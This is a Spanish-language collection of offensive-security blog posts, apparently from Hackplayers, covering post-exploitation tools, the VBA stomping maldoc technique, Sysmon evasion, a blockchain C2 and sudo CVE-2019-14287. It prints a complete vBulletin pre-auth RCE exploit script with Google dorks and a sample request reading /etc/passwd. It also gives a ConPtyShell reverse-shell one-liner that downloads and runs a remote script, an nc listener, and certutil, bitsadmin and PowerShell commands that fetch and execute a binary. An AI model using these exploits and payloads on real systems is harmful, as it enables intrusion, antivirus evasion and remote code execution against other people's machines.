Evil-WinRM: shell que usa WinRM para hacking/pentesting

Uno de los proyectos más interesantes que tenemos en el Github de Hackplayers es el de Evil-WinRM, que Luis, Oscar y Jari acaban de actualizar con una nueva release que implementa pass-the-hash.


Si alguno no conocía la herramienta, decir que Evil-WinRM es una shell que usa WinRM con características muy interesantes para ayudarnos en la post-explotación:
  • Historial de comandos      
  • Autocompletado de comandos y ficheros locales
  • Subida y descarga de archivos
  • Listar servicios de máquinas remotas
  • Cargar scripts de Powershell
  • Cargar en memoria dlls evadiendo algunos AV
  • Cargar en memoria C# compilados/exe's evadiendo algunos AV
  • Cargar payloads x64 generados con la técnica de donut
  • Mensajes de salida en color (se puede deshabilitar opcionalmente)
  • SSL y soporte de certificados
  • Soporte para pass-the-hash

VBA Stomping: técnicas avanzadas de maldoc

Hoy vamos a ver una técnica llamada VBA stomping para generar documentos maliciosos (maldoc) original de Vesselin Bontchev. Básicamente consiste en quitar o modificar el código fuente de un documento de Microsoft Office dejando sólo una versión compilada de las macros llamada p-code. De esta manera, un atacante podrá bypassear la detección de maldocs basada en el análisis del código fuente.

Primero, demostraremos la técnica con una macro simple y no maliciosa. Por ejemplo, con una simple macro que mostrará el texto "ABC" cuando se abre el documento:


A continuación lo que intentaremos es modificar ese código fuente sin cambiar el p-code. En Office 2007 o superior el código fuente de VBA y el p-code generalmente se encuentran en un archivo llamado vbaProject.bin. Para modificar este archivo manualmente, primero debemos descomprimir el archivo comprimido .docm/.xlsm y luego abrir el archivo vbaProject.bin en un editor hexadecimal. En este ejemplo, cambiaremos "ABC" por "XYZ", pero solo dentro de la ubicación donde está el código fuente VBA, no en la sección del p-code.



Ahora que hemos editado manualmente el código fuente VBA para cambiar "ABC" por "XYZ", abriremos el documento e inspeccionaremos el código fuente VBA ANTES de hacer clic en el botón "Habilitar contenido".


El documento se ha abierto pero las macros no están habilitadas. En el editor de código veremos que se debería mostrar un cuadro de mensaje con el texto "XYZ"... pero este no será el caso. De hecho, tan pronto como se habilite el contenido se mostrará un cuadro de mensaje con "ABC" y el código fuente en el editor de código se actualizará para que coincida.


Bastante engañoso, verdad?

Bypass de sudoers con user ID -1 o 4294967295

Joe Vennix de Apple Information Security ha publicado la vulnerabilidad CVE-2019-14287 que afecta a todas las versiones de sudo anteriores a la 1.8.28 y que permite a un usuario ejecutar comandos como root, simplemente especificando el usuario -1 o 4294967295...

Así leído al principio aco.. impresiona, pero sin embargo la configuración por defecto de sudoers NO ES VULNERABLE, es más, solo lo es si se ha configurado Sudo de una manera bastante imaginativa, permitiendo a los usuarios ejecutar comandos como cualquier usuario excepto root.

La mejor manera de describir el escenario es usar un ejemplo. Supongamos que se ha configurado en el sudoer que el usuario 'pepito' pueda ejecutar el editor de texto Vi como cualquier usuario, excepto root. Es raro ya lo sé, pero imagina que queremos que 'pepito' supervise los archivos y actividades de otros usuarios, pero sin darle acceso de superusuario:

servidor pepito = (ALL, !root) /usr/bin/vi

Eso debería permitir que 'pepito' ejecute Vi como cualquiera que no sea root. Sin embargo, si 'pepito' ejecuta este comando:

sudo -u#-1 vi

o este otro:

sudo -u#4294967295 vi

pepito podrá cambiar cualquier archivo del sistema como root...ups!

Esto ocurre porque la función que convierte el id al username trata el -1 de manera incorrecta, como 0, es decir el id de root. Además, y para más diversión, el ID de usuario 4294967295 omitirá las restricciones también porque, como un entero de 32 bits con signo, es igual a -1.

¿Solución? Actualizar Sudo a la versión 1.8.28 o posterior :-P

#AZULONES: regla Sigma para detectar intentos de explotar esta vulnerabilidad:

https://github.com/Neo23x0/sigma/blob/master/rules/linux/lnx_sudo_cve_2019_14287.yml

Fuente: https://www.sudo.ws/alerts/minus_1_uid.html

C2 implementado sobre... blockchain!

Hoy vamos a hablar de blockchain, esa palabra tan de moda y que esta vez veremos aplicada a... nada más y nada menos... una infraestructura de command and control o C2.
Y es que Sarthak Saini aka geek-repo ha hecho un serie muy interesante en la que explica como ha implementado esa infraestructura C2 sobre Ethereum Smart Contracts basado en Ropsten TestNet Server.

Muy, muy resumido, para los que les suene "muy a chino": los smart contracts o contratos inteligentes en Ethereum son básicamente como un protocolo que maneja las transacciones o transferencias y Ropsten es un servidor de prueba público para la plataforma Ethereum donde los desarrolladores construyen sus Dapps y los prueban, y también los usuarios pueden generar una cartera ETH y obtener 1 ETH en ese sitio.

Sarthak ha publicado además la PoC con el código en python y los bytecodes generados a partir de scripts en lenguaje Solidity que se ejecutarán en la evm (máquina virtual Ethereum) de los nodos de la red blockchain. El resultado es un virus (cliente) y un handler que se comunican a través de blockchain y, aunque algo lento, se ejecutan comandos en una shell interactiva:
 

Así que los desarrolladores de malware tienen ya otro covert channel para llegar a sus C2...

Proyecto: https://github.com/geek-repo/C2-Blockchain

The Cyberthreat Handbook : libro gratuito con 60 grupos y 490 campañas analizados

Hoy en día, para cualquier analista de ciberinteligencia y threat hunter, es indispensable tener identificados y perfilados el máximo número posible de threat actors. Recientemente Thales y Verint ha publicado un handbook muy completo que contiene descripciones detalladas de  las actividades de unos sesenta grupos particularmente significativos. En él se analizan sus tácticas y técnicas (TTPs mapeadas con el framework ATT&CK de MITRE) , sus motivos y los sectores seleccionados a partir del análisis de múltiples fuentes de inteligencia.

Los analistas del informe han definido cuatro categorías principales de atacantes en función de sus motivos y objetivos finales. De aproximadamente sesenta grupos de atacantes analizados, el 49% son grupos patrocinados por estados, a menudo con el objetivo de robar datos sensibles de objetivos de interés geopolítico. El 26% son hacktivistas motivados ideológicamente, seguidos de cerca por los cibercriminales (20%) que están impulsados por ganancias financieras. En cuarto lugar, ciberterroristas representan el 5% de los grupos analizados.

Todos los poderes económicos, políticos y militares principales del mundo son los objetivos prioritarios de los ciberatacantes. Los 12 países del mundo con el PIB más alto se encuentran en la parte superior de la lista de objetivos, encabezados por Estados Unidos, Rusia, la Unión Europea (particularmente el Reino Unido, Francia y Alemania) y China, seguidos por India, Corea del Sur y Japón.

Los sectores más afectados por estos ataques principales son los estados y sus capacidades de defensa, seguidos por el sector financiero, la energía y el transporte. Los ataques a medios de comunicación y el sector de la salud están aumentando rápidamente.

Publican 0-day de vBulletin que permite la ejecución remota de código y sin autenticación

Hace tan sólo unas horas un usuario anónimo publicaba en Full Disclosure un 0-day que permite la ejecución remota de código (RCE) en vBulletin y que afecta desde la versión 5.0.0 hasta la última 5.5.4.
Y lo más reseñable es explotable de forma remota y ¡NO requiere autenticación!

La vulnerabilidad reside en la forma en la que un widget interno acepta configuraciones a través de parámetros en la URL y luego las analiza en el servidor sin las comprobaciones de seguridad adecuadas, lo que permite a cualquier atacante inyectar comandos y ejecutar código de forma remota en el sistema.

Fijaros en el siguiente script en python:
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

Parece increíble, pero si lanzamos este sencillo script podremos ejecutar cualquier comando en el sistema vulnerable:
$ python vbulletin0-day-1909.py https://url/
vBulletin$ whoami
www-data

vBulletin$

Así de simple, una petición POST y a correr:
POST / HTTP/1.1
Host: sitiovulnerable.inet
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Length: 102
Content-Type: application/x-www-form-urlencoded

routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('cat /etc/passwd'); exit;


Recordemos que vBulletin es uno de los softwares de foros de Internet más utilizados, quizás el más popular... así que imaginaros la cantidad de sitios y usuarios que pueden verse afectados, sin posibilidad de parche todavía, si acaso con la única protección de un WAF...

 

 <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">  
       {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}  
       {vb:raw $evaledPHP}  
     <vb:else />  
       <vb:if condition="$user['can_use_sitebuilder']">  
         <span class="note">{vb:phrase click_edit_to_config_module}</span>  
       </vb:if>  
     </vb:if>  

En el código anterior se puede observar el if donde se comprueban las condiciones para renderizar. Como comentaba dj.thd (Bass Soldier) en nuestro grupo de Telegram, la mitigación más rápida sería eliminar directamente de la bbdd "widget_php" y poner a true "disable_php_rendering" si no se necesita.

Shhmon: silenciando Sysmon descargando su driver

Como ya sabéis, Sysmon es una herramienta que tiene la capacidad de detectar muchos indicadores que genera un atacante como la creación de procesos, cambios en el registro, creación de archivos, entre muchas otras cosas.

Sysmon se compone de 2 piezas principales: un servicio del sistema y un driver. El driver proporciona al servicio información que el usuario procesa para su consumo. Tanto el servicio como los nombres del driver se pueden cambiar para ocultar que se está ejecutando Sysmon en el host.

Pues bien, para evadir la detección de Sysmon Matt Hand aka matterpreter ha publicado Shhmon, una herramienta escrita en C# que propone la descarga del driver de Sysmon por el usuario sin fltMC.exe mientras que el servicio continúa ejecutándose.


A pesar de que Sysmon puede cambiar el nombre del driver durante la instalación (Sysmon.exe -i -d $DriverName), por defecto se carga siempre con una altitud predefinida de 385201.

ConPtyShell: una shell inversa totalmente interactiva para Windows

ConPtyShell de LupMan es una shell inversa totalmente interactiva para sistemas Windows.

La introducción de la Pseudo Consola (ConPty) en Windows ha mejorado mucho la forma en que el sistema operativo de Redmond maneja los terminales. ConPtyShell utiliza esta función para transformar literalmente bash en un "PowerShell remoto".

A grandes rasgos, esta herramienta crea una Pseudo Consola y conecta 2 pipes. Después crea el proceso de shell (por defecto powershell.exe) adjuntando la pseudo consola con una entrada/salida redirigida. Y luego comienza 2 subprocesos para E/S asíncrona:

- un hilo para leer desde el socket y escribir en el pipe de entrada de la Pseudo consola;
- el segundo hilo para leer desde la pipe de salida de la Pseudo consola y escribir en el socket.

ConPtyShell es una shell inversa pero no un método para hacer un upgrade a una consola completamente interactiva.

NOTA: ConPtyShell usa la función CreatePseudoConsole(). Esta función está disponible desde Windows 10/Windows Server 2019 versión 1809.

Requisitos

Lado del cliente: versión de Windows >= 10/2019 1809

Lado del servidor: cualquier listener tcp, típicamente netcat

Uso

Es importante tener el mismo tamaño de filas y columnas en el terminal local y en el remoto si queremos tener una salida alineada.

Método 1

En este método, el tamaño del terminal se establece sin pasar los parámetros de filas y cols a la función Invoke-ConPtyShell:

Lado del servidor
stty raw -echo; (stty size; cat) | nc -lvnp 3001

Lado del cliente
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1); Invoke-ConPtyShell 10.0.0.2 3001

O, si subimos el ps1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001

Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (2 de 2)

En el post anterior de esta serie vimos el funcionamiento de los donuts. Ahora, en esta segunda entrada, vamos a ver qué podemos hacer con esta herramienta, es decir, nos centraremos en casos prácticos.

Primero cargaremos un stager de unos de los c2c de moda, Covenant, luego cargaremos un desarrollo propio de HackPlayers como es Salsa-Tools y por último veremos como cargar payloads de Metasploit sin que salte el antivirus.

Bien, en primer lugar, veamos cómo se instala Covenant.

wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget -q https://packages.microsoft.com/config/debian/9/prod.list
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-2.2
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet build
dotnet run


Con este pequeño script, podemos realizar la instalación. Le damos permisos de ejecución :

    • “chmod +x installl-covenant.sh”



Esperamos a que se realice la instalación de Covenant y, una vez finalice, nos levantará un servidor web. Ese servidor web lo usaremos para controlar los equipos que tengamos backdoorizados.


Técnicas para transferir archivos durante una post-explotación

Normalmente en cualquier ejercicio de red team cuando se consigue acceso a un sistema tendremos que ingeniárnoslas para subir distintos archivos, continuando así con el proceso de post-explotación.

Recientemente he visto un paper muy completo en Seebug del chino xax007 con un montón de técnicas que siempre conviene tener a mano:

Crear un servidor HTTP

Los siguientes comandos iniciarán el servicio HTTP en el directorio actual, en el puerto 1337.

python2:
python -m SimpleHTTPServer 1337

python3:
python -m http.server 1337

Ruby:
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+:
ruby -run -e httpd . -p 1337

Perl:
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

PHP 5.4+:
php -S 0.0.0.0:1337

busybox httpd:
busybox httpd -f -p 8000

Descargar y ejecutar archivos desde el servidor HTTP

A continuación se muestran algunas maneras de descargar y ejecutar archivos desde un servidor HTTP utilizando las propias herramientas del sistema en sistemas Windows y Linux.

WINDOWS

powershell:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe